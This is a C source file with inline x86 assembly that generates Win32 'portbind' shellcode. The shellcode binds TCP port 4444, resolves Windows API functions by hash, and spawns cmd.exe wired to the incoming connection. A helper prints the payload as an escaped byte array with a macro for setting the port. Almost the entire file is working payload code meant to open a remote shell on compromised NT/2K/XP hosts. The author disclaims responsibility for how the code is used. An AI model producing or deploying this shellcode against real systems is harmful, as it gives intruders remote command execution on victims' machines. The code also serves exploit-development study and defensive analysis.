/*
 * Generic portbind shellcode for win32 (NT-based versions)
 * 
 * Overview
 *
 *    Bind to a TCP port and redirect cmd.exe to a client connection.
 *
 * Targets
 *
 *    NT/2K/XP
 *
 * Usage
 *
 *    $ portbind.exe
 *    Usage: portbind.exe [test | cstyle]
 *
 *    To generate usable code:
 *
 *    $ portbind.exe cstyle
 *
 *    To test the code by having it bind to port 4444:
 *
 *    $ portbind.exe test
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile
 *
 *    Optional defines
 *
 *       /DUSE_KERNEL32_METHOD_PEB       Resolve kernel32 using the PEB technique.
 *       /DUSE_KERNEL32_METHOD_SEH       Resolve kernel32 using the SEH technique.
 *       /DUSE_KERNEL32_METHOD_TOPSTACK  Resolve kernel32 using the TOPSTACK technique.
 *       /DMINIMIZE_SIZE                 Remove some of the unecessary code to minimize size.
 *                                       This assumes that WSAStartup has been called.
 *
 *    cl connectback.c /link /debug ws2_32.lib
 *
 * skape
 * mmiller@hick.org
 */
#include <windows.h>
#include <stdio.h>

#pragma warning(disable: 4068)

#define EMIT_4_LITTLE_ENDIAN(a,b,c,d)   __asm _emit a __asm _emit b __asm _emit c __asm _emit d

void __declspec(naked) portbind_begin()
{
	__asm
	{
		portbind:
			jmp startup_bnc                           // Jump to the startup bounce point

#include "generic.c"

		startup_bnc:
			jmp startup                               // Jump to the real startup

		resolve_symbols_for_dll:
			lodsd                                     // Load the current dword from esi into eax
			push eax                                  // Push the hash as the second argument to find_function
			push edx                                  // Push the base address of the current dll being loaded from
			call find_function                        // Call find_function
			mov  [edi], eax                           // Store the return address in the current output buffer pointer
			add  esp, 0x08                            // Restore eight bytes to the stack.
			add  edi, 0x04                            // Add 4 bytes to the output buffer to move to the next slot
			cmp  esi, ecx                             // Have we reached the end?
			jne  resolve_symbols_for_dll              // If not, continue loading
		resolve_symbols_for_dll_finished:
			ret                                       // Return to the caller

		kernel32_symbol_hashes:
			EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA        [0x04]
			EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA      [0x08]
			EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess         [0x0c]
#ifndef MINIMIZE_SIZE
			EMIT_4_LITTLE_ENDIAN(0xad,0xd9,0x05,0xce) // WaitForSingleObject [0x10]
#endif

		ws2_32_symbol_hashes:
			EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad) // WSASocketA          minsize: [0x10] regsize: [0x14]
			EMIT_4_LITTLE_ENDIAN(0xa4,0x1a,0x70,0xc7) // bind                minsize: [0x14] regsize: [0x18]
			EMIT_4_LITTLE_ENDIAN(0xa4,0xad,0x2e,0xe9) // listen              minsize: [0x18] regsize: [0x1c]
			EMIT_4_LITTLE_ENDIAN(0xe5,0x49,0x86,0x49) // accept              minsize: [0x1c] regsize: [0x20]
#ifndef MINIMIZE_SIZE
			EMIT_4_LITTLE_ENDIAN(0xcb,0xed,0xfc,0x3b) // WSAStartup          [0x24]
			EMIT_4_LITTLE_ENDIAN(0xe7,0x79,0xc6,0x79) // closesocket         [0x28]
#endif

		startup:
			sub  esp, 0x60                            // Allocate 0x60 bytes of stack space
			mov  ebp, esp                             // Use ebp as the frame pointer

			jmp  get_absolute_address_forward         // Jump forward past the middle
		get_absolute_address_middle:
			jmp  get_absolute_address_end             // Jump to the end now that we have our VMA on the stack
		get_absolute_address_forward:
			call get_absolute_address_middle          // Call to the middle to push the VMA of 'pop esi' onto the stack
		get_absolute_address_end:
			pop  esi                                  // Pop the return address from the stack into esi

			call find_kernel32                        // Find the kernel32.dll base address through whatever means
			mov  edx, eax                             // Save the kernel32.dll base address in edx

		resolve_kernel32_symbols:
#ifndef MINIMIZE_SIZE
			sub  esi, 0x36                            // Offset esi 0x36 bytes back from 'pop esi'
#else
			sub  esi, 0x2a                            // Offset esi 0x2a bytes back from 'pop esi'
#endif

			lea  edi, [ebp + 0x04]                    // Set edi to the start of our output buffer
			mov  ecx, esi                             // Set ecx to the address of the first hash
#ifndef MINIMIZE_SIZE
			add  ecx, 0x10                            // Set the stop point to the first hash address + 0x10
#else
			add  ecx, 0x0c                            // Set the stop point to the first hash address + 0x0c
#endif
			call resolve_symbols_for_dll              // Resolve all the kernel32.dll symbols

		resolve_winsock_symbols:
#ifndef MINIMIZE_SIZE
			add  ecx, 0x18                            // Set the stop point to the first hash of ws2_32 + 0x18
#else
			add  ecx, 0x10                            // Set the stop point to the first hash of ws2_32 + 0x10
#endif

			xor  eax, eax                             // Zero eax
			mov  ax, 0x3233                           // Set the low order bytes of eax to '32'
			push eax                                  // Push '32\0\0'
			push 0x5f327377                           // Push 'ws2_'
			mov  ebx, esp                             // Save the pointer to the 'ws2_32' string in ebx
			push ecx                                  // Save ecx so that it does not get clobbered
			push edx                                  // Save edx so that it does not get clobbered
			push ebx                                  // Push the 'ws2_32' string pointer onto the stack
			call [ebp + 0x04]                         // Call LoadLibraryA
			pop  edx                                  // Restore edx
			pop  ecx                                  // Restore ecx
			mov  edx, eax                             // Set edx to the base address of ws2_32.dll
			call resolve_symbols_for_dll              // Resolve all the ws2_32.dll symbols

		initialize_cmd:
			mov  eax, 0x646d6301                      // Set eax to '\0x01cmd'
			sar  eax, 0x08                            // Shift eax 8 bits to the right to remove the \0x01 and add a null
			push eax                                  // Push the string onto the stack
			mov  [ebp + 0x34], esp                    // Save the pointer 'cmd' pointer for later use

#ifndef MINIMIZE_SIZE
		initialize_winsock:
			xor  eax, eax                             // Zero eax
			mov  ax, 0x0190                           // Set the low order bytes to 0x0190, the size of WSADATA
			sub  esp, eax                             // Allocate stack space for the buffer
			push esp                                  // Push the WSADATA pointer argument
			add  eax, 0x72                            // Add 0x72 to set eax to 0x0202 for the version argument
			push eax                                  // Push the version argument
			call [ebp + 0x24]                         // Call WSAStartup
#endif

		create_socket:
			xor  eax, eax                             // Zero eax
			push eax                                  // Push flags (0)
			push eax                                  // Push group (0)
			push eax                                  // Push protocol information (NULL)
			push eax                                  // Push protocol (0)
			inc  eax                                  // Increment eax
			push eax                                  // Push type (SOCK_STREAM)
			inc  eax                                  // Increment eax
			push eax                                  // Push af (AF_INET)
#ifndef MINIMIZE_SIZE
			call [ebp + 0x14]                         // Call WSASocket
#else
			call [ebp + 0x10]                         // Call WSASocket
#endif
			mov  esi, eax                             // Save the newly allocated file descriptor in esi

		bind:
			xor  eax, eax                             // Zero eax
			xor  ebx, ebx                             // Zero ebx
			push eax                                  // Push null
			push eax                                  // Push null
			push eax                                  // Push null
			mov  eax, 0x5c110102                      // Set eax to the sin_port/sin_family attributes of sockaddr_in (default port is 4444)
			dec  ah                                   // Fix the sin_family attribute high order byte
			push eax                                  // Push the sin_port/sin_family
			mov  eax, esp                             // Save the pointer to the structure in eax
			mov  bl, 0x10                             // Set the low order byte of ebx to 16
			push ebx                                  // Push the size of the structure 
			push eax                                  // Push the pointer to the sockaddr_in structure
			push esi                                  // Push the file descriptor allocated by WSASocket
#ifndef MINIMIZE_SIZE
			call [ebp + 0x18]                         // Call bind
#else
			call [ebp + 0x14]                         // Call bind
#endif

		listen:
			push ebx                                  // Push a backlog of 16
			push esi                                  // Push the listener file descriptor
#ifndef MINIMIZE_SIZE
			call [ebp + 0x1c]                         // Call listen
#else
			call [ebp + 0x18]                         // Call listen
#endif

		accept:
			push ebx                                  // Push 16 for use as the size 
			mov  edx, esp                             // Save the pointer to the size in edx
			sub  esp, ebx                             // Allocate 16 bytes of stack space
			mov  ecx, esp                             // Save the pointer to the client sockaddr_in structure in ecx
			push edx                                  // Push the pointer to the length
			push ecx                                  // Push the pointer to the sockaddr_in structure
			push esi                                  // Push the listen file descriptor
#ifndef MINIMIZE_SIZE
			call [ebp + 0x20]                         // Call accept
#else
			call [ebp + 0x1c]                         // Call accept
#endif
			mov  esi, eax                             // Move the newly allocated client file descriptor into esi
			
		initialize_process:
			xor  ecx, ecx                             // Zero ecx
			mov  cl, 0x54                             // Set ecx to 0x54 (sizeof(PROCESS_INFORMATION) + sizeof(STARTUPINFO))
			sub  esp, ecx                             // Allocate stack space for the two buffers
			mov  edi, esp                             // Set edi to point to the start of the buffers
			push edi                                  // Save edi
		zero_structs:
			xor  eax, eax                             // Zero eax for use with zeroing out the structures
			rep  stosb                                // Repeat storing 0x00 until ecx is 0
			pop  edi                                  // Restore edi to point to the start of the buffers
		initialize_structs:
			mov  byte ptr [edi], 0x44                 // Set the 'cb' attribute of the STARTUPINFO buffer to 0x44
			inc  byte ptr [edi + 0x2d]                // Set the STARTF_USESTDHANDLES flag
			push edi                                  // Save edi
			mov  eax, esi                             // Set eax to the file descriptor
			lea  edi, [edi + 0x38]                    // Load the effective address of hStdInput
			stosd                                     // Set hStdInput to the file descriptor
			stosd                                     // Set hStdOutput to the file descriptor
			stosd                                     // Set hStdError to the file descriptor
			pop  edi                                  // Restore edi to point to the start of the buffers
		execute_process:
			xor  eax, eax                             // Zero eax
			lea  esi, [edi + 0x44]                    // Load the effective address of the PROCESS_INFORMATION buffer
			push esi                                  // Push the PROCESS_INFORMATION pointer
			push edi                                  // Push the STARTUPINFO pointer
			push eax                                  // Push Startup Directory (NULL)
			push eax                                  // Push Environment (NULL)
			push eax                                  // Push CreationFlags (0)
			inc  eax                                  // Increment eax
			push eax                                  // Inherit handles (TRUE)
			dec  eax                                  // Decrement eax
			push eax                                  // Thread attributes (NULL)
			push eax                                  // Process attributes (NULL)
			push [ebp + 0x34]                         // Command line ('cmd' pointer)
			push eax                                  // Module name (NULL)
			call [ebp + 0x08]                         // Call CreateProcessA

#ifndef MINIMIZE_SIZE
		wait_for_exit:
			not  eax                                  // Invert the bits in eax to 0xfffffffe
			push eax                                  // Push the timeout
			push [esi]                                // Push the handle the process that was started
			call [ebp + 0x10]                         // Call WaitForSingleObject

		close_client_fd:
			push [edi + 0x38]                         // Push the file descriptor
			call [ebp + 0x28]                         // Call closesocket
#endif

		exit_process:
			call [ebp + 0x0c]                         // Call ExitProcess
	}
}

void __declspec(naked) portbind_end()
{
	exit(1);
}

int main(int argc, char **argv)
{
#ifdef MINIMIZE_SIZE
	WSADATA data;

	WSAStartup(MAKEWORD(2, 2), &data);
#endif

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
		portbind_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)portbind_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)portbind_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length, portOffset = 0;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)portbind_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)portbind_end + 1) + 5;
		length  = stop - start;

		for (c = start, x = 0;
				x < length - 2;
				c++, x++)
		{
			if (*(unsigned short *)c == 0x5c11)
				break;
		}

		portOffset = (unsigned long )(c - start);

		fprintf(stdout, "// %lu byte portbind shellcode\n\n", length);
		fprintf(stdout, "#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", portOffset);
		fprintf(stdout, "unsigned char portbind[] = \"");

		for (c = start, x = 0;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}

